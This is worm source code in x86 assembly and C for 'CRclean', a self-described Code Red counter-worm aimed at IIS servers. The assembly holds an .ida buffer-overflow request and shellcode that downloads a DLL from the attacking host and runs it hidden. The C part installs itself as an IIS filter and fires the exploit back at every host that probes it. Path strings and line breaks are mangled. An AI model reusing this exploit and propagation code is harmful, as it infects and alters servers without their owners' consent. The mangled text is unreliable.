; ; CRclean.asm ; by Markus Kern <markus-kern@gmx.net> ; 06.08.2001 ; ; downloads CRclean.dll from sender and executes it using rundll32.exe ; then calls ExitProcess() on success or sleeps forever on failure ; .386p .model flat .code assume fs:nothing db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-' db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so' db 'urce---this-worm-does-not-spread-actively---if-you-see-this-' db 'the-destination-host-is-infected-with-Code-Red--------------' db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685' db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f' db 'f%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah db 'Content-type: text/xml',0Ah db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah ; execution starts here with slightly modified Code Red v1 code ; finds GetProcAddress and kernel32.dll base push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi lea edi, [ebp-218h] mov ecx, 86h mov eax, 0CCCCCCCCh rep stosd mov [ebp-190h], dword ptr 0 lea edi, [ebp-110h] mov eax, dword ptr fs:0 mov [edi+8], eax mov dword ptr fs:0, edi mov dword ptr [ebp-110h], 0FFFFFFFFh mov dword ptr [ebp-1A8h],77E00000h RVA_1: cmp dword ptr [ebp-190h], 0 jnz RVA_5 mov ecx, [ebp-1A8h] add ecx, 10000h mov [ebp-1A8h], ecx cmp dword ptr [ebp-1A8h],78000000h jnz short RVA_2 mov dword ptr [ebp-1A8h],0BFF00000h RVA_2: mov edx, [ebp-1A8h] xor eax, eax mov ax, [edx] cmp eax, 5A4Dh jnz RVA_1 mov ecx, [ebp-1A8h] mov edx, [ecx+3Ch] mov eax, [ebp-1A8h] xor ecx, ecx mov cx, [eax+edx] cmp ecx, 4550h jnz RVA_1 mov edx, [ebp-1A8h] mov eax, [edx+3Ch] mov ecx, [ebp-1A8h] mov edx, [ecx+eax+78h] add edx, [ebp-1A8h] mov [ebp-1ACh], edx mov eax, [ebp-1ACh] mov ecx, [eax+0Ch] add ecx, [ebp-1A8h] mov [ebp-1B4h], ecx mov edx, [ebp-1B4h] cmp dword ptr [edx], 4E52454Bh jnz RVA_1 mov eax, [ebp-1B4h] cmp dword ptr [eax+4], 32334C45h jnz RVA_1 mov ecx, [ebp-1A8h] mov [ebp-1CCh], ecx mov edx, [ebp-1ACh] mov eax, [ebp-1A8h] add eax, [edx+20h] mov [ebp-1B4h], eax mov dword ptr [ebp-1B8h], 0 jmp short RVA_4 RVA_3: mov ecx, [ebp-1B8h] add ecx, 1 mov [ebp-1B8h], ecx mov edx, [ebp-1B4h] add edx, 4 mov [ebp-1B4h], edx RVA_4: mov eax, [ebp-1ACh] mov ecx, [ebp-1B8h] cmp ecx, [eax+18h] jge RVA_1 mov edx, [ebp-1B4h] mov eax, [edx] mov ecx, [ebp-1A8h] cmp dword ptr [ecx+eax], 50746547h jnz RVA_3 mov edx, [ebp-1B4h] mov eax, [edx] mov ecx, [ebp-1A8h] cmp dword ptr [ecx+eax+4], 41636F72h jnz RVA_3 mov edx, [ebp-1B8h] add edx, [ebp-1B8h] add edx, [ebp-1A8h] mov eax, [ebp-1ACh] mov ecx, [eax+24h] xor eax, eax mov ax, [edx+ecx] mov [ebp-1B4h], eax mov ecx, [ebp-1ACh] mov edx, [ecx+10h] mov eax, [ebp-1B4h] lea ecx, [eax+edx-1] mov [ebp-1B4h], ecx mov edx, [ebp-1B4h] add edx, [ebp-1B4h] add edx, [ebp-1B4h] add edx, [ebp-1B4h] add edx, [ebp-1A8h] mov eax, [ebp-1ACh] mov ecx, [eax+1Ch] mov edx, [edx+ecx] mov [ebp-1B4h], edx mov eax, [ebp-1B4h] add eax, [ebp-1A8h] mov [ebp-190h], eax jmp RVA_1 RVA_5: lea edi, [ebp-110h] mov eax, [edi+8] mov dword ptr fs:0, eax ; end of Code Red code call GET_DATA_START d1 db 'c:/CRclean.dll',0 d2 db 'http://123.123.123.123/CRclean.dll',0 ; ip filled in by ISAPI filter d3 db 'LoadLibraryA',0 d4 db 'urlmon.dll',0 d5 db 'GetFileAttributesA',0 d6 db 'URLDownloadToFileA',0 d7 db 'WinExec',0 d8 db 'rundll32 c:/CRclean.dll,Run',0 d9 db 'Sleep',0 d10 db 'ExitProcess',0 FilePath equ 0 Url equ d2-d1 LoadLibStr equ d3-d1 UrlMonStr equ d4-d1 GetFileAttrStr equ d5-d1 URLDownloadStr equ d6-d1 WinExecStr equ d7-d1 RundllStr equ d8-d1 SleepStr equ d9-d1 ExitProcStr equ d10-d1 GET_DATA_START: pop esi ; start of our data ; get address of GetFileAttributesA mov edi, esi add edi, GetFileAttrStr push edi push dword ptr [ebp-1CCh] ; kernel32.dll handle call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz SLEEP push eax ; get address of LoadLibraryA mov edi, esi add edi, LoadLibStr push edi push dword ptr [ebp-1CCh] call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz SLEEP ; load urlmon.dll mov edi, esi add edi, UrlMonStr push edi call eax ; call LoadLibraryA or eax, eax jz SLEEP ; get address of URLDownloadToFileA mov edi, esi add edi, URLDownloadStr push edi push eax ; urlmon.dll handle call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz SLEEP mov ebx, eax DL_FILE: ; check if file is already there pop eax ; get GetFileAttributesA address push eax mov edi, esi add edi, FilePath push edi call eax ; call GetFileAttributesA cmp eax, 0FFFFFFFFh jne SLEEP ; we've been here before, the dll is prolly preparing IIS restart ; we sleep till we get terminated ; call URLDownloadToFileA push 0 push 0 mov edi, esi add edi, FilePath push edi mov edi, esi add edi, Url push edi push 0 call ebx ; call URLDownloadToFileA ; check if file made it to the disk pop eax ; get GetFileAttributesA address push eax mov edi, esi add edi, FilePath push edi call eax ; call GetFileAttributesA cmp eax, 0FFFFFFFFh jne DL_SUCCESS ; if we just tried c: try d: now mov edi, esi add edi, FilePath cmp byte ptr [edi], 'd' je SLEEP ; neither c: nor d: did work ; set drive letter to 'd' mov byte ptr [edi], 'd' mov edi, esi add edi, RundllStr+9 mov byte ptr [edi], 'd' ; change Runddll string too jmp DL_FILE DL_SUCCESS: ; get address of WinExec mov edi, esi add edi, WinExecStr push edi push dword ptr [ebp-1CCh] call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz SLEEP ; call WinExec push 0 ; SW_HIDE mov edi, esi mov edi, esi add edi, RundllStr push edi call eax cmp eax, 31 jl SLEEP ; get address of ExitProcess mov edi, esi add edi, ExitProcStr push edi push dword ptr [ebp-1CCh] call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz SLEEP ; call ExitProcess push 0 call eax ; terminate inetinfo.exe, on windows 2000 it will be ; restarted but we get rid of all running Code Reds SLEEP: ; get address of Sleep mov edi, esi add edi, SleepStr push edi push dword ptr [ebp-1CCh] call dword ptr [ebp-190h] ; call GetProcAddress or eax, eax jz FATAL_ERROR ; ok, we tried our best to save cpu cycles ; call Sleep push 0FFFFFFFFh call eax ; sleep forever FATAL_ERROR: jmp FATAL_ERROR db 'end of file' END
/* * * "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered * * CRclean.c * by Markus Kern <markus-kern@gmx.net> * 06.08.2001 * * if called by rundll32: * downloads and executes Q300972 patch from Microsoft * removes _original_ Code Red II backdoors * copies dll to wwwroot * adds dll to ISAPI filter list * restarts IIS * * if loaded into IIS: * removes itself from system on IIS shutdown if it's november 2001 or later * responds to every Code Red exploit attempt by closing the connection and infecting the attacking host * * the dll can be removed manually using "rundll32 CRclean.dll,Remove" * */ #define INITGUID #include <winsock.h> #include <httpfilt.h> // ISAPI #include <iadmw.h> // metabase #define OUR_FILE_NAME "CRclean.dll" #define EXPLOIT_URL_OFFSET 0x1B9 HANDLE hExploitMutex; unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>"; int IsWin2k = 1; int NumberOfThreads; // prevent clients from DoSing us // urlmon.dll HINSTANCE hUrlMonDll = NULL; HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL; // psapi.dll HINSTANCE hPsApiDll = NULL; BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL; BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL; DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL; DWORD WINAPI InfectThread(void* pData); void RemoveFilter(); int ApplyPatch(); void RemoveCRII(); void RestartIIS(); HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName); // dll entry point, duh BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved) { return TRUE; } // called by IIS on initialization BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer) { pVer->dwFilterVersion = HTTP_FILTER_REVISION; lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter"); pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH; NumberOfThreads = 0; // mutex to serialize access to exploit code and inet_ntoa() function hExploitMutex = CreateMutex(NULL,FALSE,NULL); // delete original copy of dll DeleteFile("c://"OUR_FILE_NAME); DeleteFile("d://"OUR_FILE_NAME); return TRUE; } // called by IIS on shutdown BOOL _export WINAPI TerminateFilter(DWORD dwFlags) { SYSTEMTIME st; // remove us from system if it's november 2001 or later GetSystemTime(&st); if(st.wYear > 2001 || st.wMonth >= 11) RemoveFilter(); return TRUE; } // called by IIS for every http request DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification) { char *buf; DWORD size,ThreadID; int i; if(notificationType == SF_NOTIFY_PREPROC_HEADERS) { // get url length size = 0; ((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size); // no problem if that short if(size > 200) { // alloc buffer, MSDN says this is freeed automatically by IIS if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) { // get url if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) { // -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter for(i=0;i<(size-200)&&buf[i]!='?';i++); if(buf[i] == '?' && buf[i-4] == '.' && (buf[i-3] == 'i' || buf[i-3] == 'I') && (buf[i-2] == 'd' || buf[i-2] == 'D') && (buf[i-1] == 'a' || buf[i-1] == 'A')) { // get client ip and run thread to infect client size = 32; if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) { NumberOfThreads++; CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID); } // disconnect client, sizeof(buf) is at least 200 lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: "); size = 64; pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size); lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n"); size = lstrlen(buf); pfc->WriteClient(pfc,buf,&size,0); return SF_STATUS_REQ_FINISHED; } } } } pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0); } return SF_STATUS_REQ_NEXT_NOTIFICATION; } // infects ip passed in pData DWORD WINAPI InfectThread(void* pData) { SOCKET Sock; SOCKADDR_IN Addr; int AddrSize; fd_set wfd; struct timeval tv; unsigned long nonblock; char *buf; Addr.sin_family = AF_INET; Addr.sin_port = htons(80); Addr.sin_addr.s_addr = (unsigned long)pData; if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) { // make socket non-blocking nonblock = 1; ioctlsocket(Sock,FIONBIO,&nonblock); // connect connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr)); if(WSAGetLastError() == WSAEWOULDBLOCK) { FD_ZERO(&wfd); FD_SET(Sock,&wfd); tv.tv_sec = 20; tv.tv_usec = 0; if(select(0,0,&wfd,0,&tv)) { // make socket blocking nonblock = 0; ioctlsocket(Sock,FIONBIO,&nonblock); // get local ip used for connection AddrSize = sizeof(Addr); if(getsockname(Sock,&Addr,&AddrSize) == 0) { WaitForSingleObject(hExploitMutex,INFINITE); if((buf = inet_ntoa(Addr.sin_addr)) != 0) { wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME); send(Sock,ExploitCode,sizeof(ExploitCode),0); } ReleaseMutex(hExploitMutex); Sleep(2000); } } closesocket(Sock); } } NumberOfThreads--; return 0; } // called by exploit code via rundll32.exe // we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow) { OSVERSIONINFO osvi; HKEY hKey; char *WebRootPath = NULL,*buf; char ModulePath[MAX_PATH]; DWORD size; int i; // determine OS osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4) IsWin2k = 0; // load DLLs we need if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) { pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA"); } // we don't have psapi.dll on NT thus FindProcess() won't work if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) { pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses"); pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules"); pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA"); } // patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own) ApplyPatch(); // remove backdoors created by Code Red II, won't hurt if we do this on NT too RemoveCRII(); // get web root if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) { if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) { if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) { if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) { for(i=0;i<size&&WebRootPath[i]!=',';i++); lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME); } } } RegCloseKey(hKey); } // prepare for spreading if we've found the web root if(WebRootPath) { // copy us to webroot for distribution lstrcpy(ModulePath,"c://"); lstrcat(ModulePath,OUR_FILE_NAME); if(!CopyFile(ModulePath,WebRootPath,TRUE)) { ModulePath[0] = 'e'; if(!CopyFile(ModulePath,WebRootPath,TRUE)) ModulePath[0] = 0; } if(ModulePath[0] != 0) { // add us to ISAPI filter list if copy was successful if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) { if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) { if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) { if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) { if(size <= 2) { lstrcpy(buf,WebRootPath); } else if(buf[size-2] == ',') { lstrcat(buf,WebRootPath); } else { lstrcat(buf,","); lstrcat(buf,WebRootPath); } RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1); } LocalFree(buf); } } else { // RegQueryValueEx() failed, the value probably doesn't exist, we create it RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1); } RegCloseKey(hKey); } } LocalFree(WebRootPath); } // restart IIS to get rid of our own and any Code Red code still running in IIS's address space // IIS will load our ISAPI filter on restart RestartIIS(); // unload DLLs before we leave if(hUrlMonDll) FreeLibrary(hUrlMonDll); if(hPsApiDll) FreeLibrary(hPsApiDll); return; } // what can I say? it's here because it wasn't much effort void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow) { RemoveFilter(); if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n" "Reinstalling the entire system is strongly recommended!/r/n" "Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES) { RestartIIS(); } return; } // removes us from ISAPI filter list void RemoveFilter() { HKEY hKey; char *WebRootPath = NULL,*buf,*p,*s; DWORD size; int i; // get web root if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) { if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) { if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) { if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) { for(i=0;i<size&&WebRootPath[i]!=',';i++); lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME); } } } RegCloseKey(hKey); } if(WebRootPath) { // remove us from IIS's ISAPI filter list if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) { if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) { if(size >= lstrlen(WebRootPath)) { // can't be our string if shorter than WebRootPath if((buf = (char*)LocalAlloc(0,size+16)) != 0) { if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) { // do a case insesitive compare CharLower(WebRootPath); CharLower(buf); // search for WebRootPath for(i=0;i<=size-lstrlen(WebRootPath);i++) { for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++); if(*s == 0) { // match if(lstrlen(buf) == lstrlen(WebRootPath)) buf[0] = 0; else if(i == 0) lstrcpy(buf,p+1); // +1 for comma after WebRootPath else lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath break; } } RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1); } LocalFree(buf); } } } RegCloseKey(hKey); } // delete this file on next reboot MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT); LocalFree(WebRootPath); } return; } // downloads Q300972 from microsoft and runs it int ApplyPatch() { STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hProc; LANGID LangID; char Url[256],Path[MAX_PATH]; int i; LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW, LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI }; char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB", "JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" }; LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH, LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN, LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN, LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH }; char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no", "pl","pt","ru","es","sv","tr" }; // prepare download url LangID = GetSystemDefaultLangID(); lstrcpy(Url,"http://download.microsoft.com/download/"); // win 2k if(IsWin2k) { lstrcat(Url,"win2000platform/patch/q300972/nt5/"); for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++); if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL) i++; if(i < 22) wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]); else // use US as default lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe"); // win nt } else { lstrcat(Url,"winntsp/patch/q300972/nt4/"); for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++); if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL) i++; if(i < 13) lstrcat(Url,NtLangStr[i]); else // use US as default lstrcat(Url,"en-us/"); lstrcat(Url,"Q300972i.exe"); } // download and execute patch if(pURLDownloadToCacheFile) { if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) { for(i=0;i<sizeof(si);i++) ((unsigned char*)&si)[i] = 0; si.cb = sizeof(si); // run patch if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)) { if(IsWin2k) { // wait 3 mins for hotfix to install Sleep(3*60*1000); // patch either displays message box informing about successfull install or an error message // user can't see this message box, we kill hotfix.exe in either case // the process we created above cleans up all the temp files when hotfix.exe terminates if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) { TerminateProcess(hProc,0); CloseHandle(hProc); // wait till we can delete downloaded file WaitForSingleObject(pi.hProcess,3*60*1000); DeleteFile(Path); } } else { // on NT we just let the hotfix run, luser will click OK eventually // restarting IIS is enough to activate the new idq.dll, no need to reboot } CloseHandle(pi.hProcess); return 0; } } } return 1; } // removes Code Red II backdoors void RemoveCRII() { DWORD size; HANDLE hProc; HKEY hKey; IMSAdminBaseW *Meta; METADATA_HANDLE hMetaKey; char Path[MAX_PATH]; // search and destroy trojan explorer.exe if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) { TerminateProcess(hProc,0); WaitForSingleObject(hProc,10*1000); CloseHandle(hProc); } if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) { TerminateProcess(hProc,0); WaitForSingleObject(hProc,10*1000); CloseHandle(hProc); } // delete explorer trojan, need to remove readonly attribute for DeleteFile() to work SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL); DeleteFile("c://explorer.exe"); SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL); DeleteFile("d://explorer.exe"); // remove cmd.exe backdoors DeleteFile("c://inetpub//scripts//root.exe"); DeleteFile("d://inetpub//scripts//root.exe"); DeleteFile("c://progra~1//common~1//system//msadc//root.exe"); DeleteFile("d://progra~1//common~1//system//msadc//root.exe"); // reenable file protection // we probably need to reboot to activate the change, user will do this for us on next OS crash if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) { size = 0; RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD)); RegCloseKey(hKey); } // clean up registry // turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase // and restores changes of already present registry values from this metabase on restart // means we must delete /C and /D from the metabase // the /scripts and /msadc changes apparently never made it there and the corresponding registry values // have probably been restored by IIS after CRII's reboot // there're days I'm very glad I don't have to think the way Microsoft engineers do CoInitialize(NULL); if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) { MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2); if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) { Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00"); // unicode Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00"); Meta->lpVtbl->CloseKey(Meta,hMetaKey); } Meta->lpVtbl->Release(Meta); } CoUninitialize(); // must do this to prevent IIS from copying it back into metabase on restart if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) { RegDeleteValue(hKey,"/C"); RegDeleteValue(hKey,"/D"); RegCloseKey(hKey); } return; } // restarts IIS void RestartIIS() { STARTUPINFO si; PROCESS_INFORMATION pi; SC_HANDLE hManager,hSvc; SERVICE_STATUS SvcStat; int i; if(IsWin2k) { // neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines for(i=0;i<sizeof(si);i++) ((unsigned char*)&si)[i] = 0; si.cb = sizeof(si); si.wShowWindow = SW_HIDE; // don't scare the clueless si.dwFlags = STARTF_USESHOWWINDOW; CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); } else { // we don't have iisreset.exe on NT if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) { if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) { // stop iis ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat); // wait till shutdown completed ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat); for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) { Sleep(1000); QueryServiceStatus(hSvc,&SvcStat); } // and restart it StartService(hSvc,0,NULL); CloseServiceHandle(hSvc); } CloseServiceHandle(hManager); } } return; } // searches process list for ProcessToFind // caller is responsible for closing returned handle HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName) { DWORD ProcList[1024],size,msize; HANDLE hProc; HMODULE hMod; char Path[MAX_PATH]; int i; // search for process if(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) { if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size)) for(i=0;i<size/sizeof(DWORD);i++) if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) { if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize)) if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH)) if(OnlyCompareFileName) { if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0) return hProc; } else { if(lstrcmpi(Path,ProcessToFind) == 0) return hProc; } CloseHandle(hProc); } } return NULL; }